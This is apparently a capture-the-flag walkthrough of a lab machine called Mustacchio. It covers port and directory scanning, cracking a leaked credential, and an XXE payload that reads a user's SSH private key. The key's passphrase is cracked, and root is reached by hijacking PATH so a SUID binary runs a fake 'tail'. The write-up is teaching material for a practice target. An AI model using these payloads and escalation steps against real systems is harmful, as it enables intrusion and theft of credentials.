Nmap

First we scan for open ports

# nmap -p- -T4 -sV -sC 10.10.225.65 -oA nmap
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-13 10:22 BST
Nmap scan report for 10.10.225.65
Host is up (0.020s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 58:1b:0c:0f:fa:cf:05:be:4c:c0:7a:f1:f1:88:61:1c (RSA)
|   256 3c:fc:e8:a3:7e:03:9a:30:2c:77:e0:0a:1c:e4:52:e6 (ECDSA)
|_  256 9d:59:c6:c7:79:c5:54:c4:1d:aa:e4:d1:84:71:01:92 (ED25519)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/
|_http-title: Mustacchio | Home
|_http-server-header: Apache/2.4.18 (Ubuntu)
8765/tcp open  http    nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Mustacchio | Login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 104.95 seconds

Website (80)

The site appears to be a basic site with no special features, so we run a gobuster.

# gobuster dir -u http://10.10.225.65 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.225.65
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 277]
/.hta                 (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/custom               (Status: 301) [Size: 313] [--> http://10.10.225.65/custom/]
/fonts                (Status: 301) [Size: 312] [--> http://10.10.225.65/fonts/]
/images               (Status: 301) [Size: 313] [--> http://10.10.225.65/images/]
/index.html           (Status: 200) [Size: 1752]
/robots.txt           (Status: 200) [Size: 28]
/server-status        (Status: 403) [Size: 277]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

Looking into the custom directory we find a backup file.

Checking the backup file we see that it is a sqlite database and reveals some credentials.

# file users.bak                        
users.bak: SQLite 3.x database, last written using SQLite version 3034001, file counter 2, database pages 2, cookie 0x1, schema 4, UTF-8, version-valid-for 2

# sqlite3 users.bak              
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .dump
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE users(username text NOT NULL, password text NOT NULL);
INSERT INTO users VALUES('admin','18************************************4b');
COMMIT;

We reveal the password from the hash using crackstation.

Website (8765)

Visiting the site on port 8765 we get a login form.

We use the creds found earlier, which work, and the site shows us a form for adding a comment.

Looking in the source code we see a comment revealing the username barry and a file at /auth/dontforget.bak.

Downloading dontforget.bak we see its an xml file. It does give any clues with its contents, but the structure is important.

<?xml version="1.0" encoding="UTF-8"?>
<comment>
  <name>Joe Hamd</name>
  <author>Barry Clad</author>
  <com>his paragraph was a waste of time and space. If you had not read this and I had not typed this you and I could’ve done something more productive than reading this mindlessly and carelessly as if you did not have anything else to do in life. Life is so precious because it is short and you are being so careless that you do not realize it until now since this void paragraph mentions that you are doing something so mindless, so stupid, so careless that you realize that you are not using your time wisely. You could’ve been playing with your dog, or eating your cat, but no. You want to read this barren paragraph and expect something marvelous and terrific at the end. But since you still do not realize that you are wasting precious time, you still continue to read the null paragraph. If you had not noticed, you have wasted an estimated time of 20 seconds.</com>
</comment> 

Using this template we can craft an XXE payload to try and read barry’s private SSH key

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM  "file:///home/barry/.ssh/id_rsa" >]>
<comment>
  <name>Joe Hamd</name>
  <author>Barry Clad</author>
  <com>&xxe;</com>
</comment>

We got the key, but it is password protected so we need to crack it first.

# ssh2john barryrsa > barryrsa.hash

# john barryrsa.hash --wordlist=/usr/share/wordlists/rockyou.txt  
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
**********       (barryrsa)     
1g 0:00:00:01 DONE (2025-08-13 12:45) 0.8333g/s 2475Kp/s 2475Kc/s 2475KC/s urieljr.k..urielfabricio07
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Now we can login as barry and get the user flag.

# ssh barry@10.10.225.65 -i barryrsa
Enter passphrase for key 'barryrsa': 
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-210-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

34 packages can be updated.
16 of these updates are security updates.
To see these additional updates run: apt list --upgradable



The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

barry@mustacchio:~$ ls
user.txt
barry@mustacchio:~$ cat user.txt
62****************************31

Privilege escalation

Looking around the system we find an interesting looking SUID file in another users home directory.

barry@mustacchio:~$ ls -lah /home/joe
total 28K
drwxr-xr-x 2 joe  joe  4.0K Jun 12  2021 .
drwxr-xr-x 4 root root 4.0K Jun 12  2021 ..
-rwsr-xr-x 1 root root  17K Jun 12  2021 live_log
barry@mustacchio:~$ file /home/joe/live_log 
/home/joe/live_log: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6c03a68094c63347aeb02281a45518964ad12abe, for GNU/Linux 3.2.0, not stripped

When we run the binary it outputs web server logs until killed. Checking the executable with strings we can see it is running the command tail -f var/log/nginx/access.log.

barry@mustacchio:~$ strings /home/joe/live_log 
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
printf
system
__cxa_finalize
setgid
__libc_start_main
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u+UH
[]A\A]A^A_
Live Nginx Log Reader
tail -f /var/log/nginx/access.log
:*3$"
GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
...
...

Given that tail is being called without its full direct path we can exploit it modifying our path to use our own “version” of tail.

barry@mustacchio:~$ echo '/bin/bash -p' > tail
barry@mustacchio:~$ chmod 777 tail 
barry@mustacchio:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
barry@mustacchio:~$ pwd
/home/barry
barry@mustacchio:~$ export PATH=/home/barry:$PATH

Now we can run the live_log application and it will call our tail app giving us a root shell. With that we can grab the root flag.

arry@mustacchio:~$ /home/joe/live_log 
root@mustacchio:~# id
uid=0(root) gid=0(root) groups=0(root),1003(barry)
root@mustacchio:~# cd /root
root@mustacchio:/root# ls
root.txt
root@mustacchio:/root# cat root.txt
32****************************a5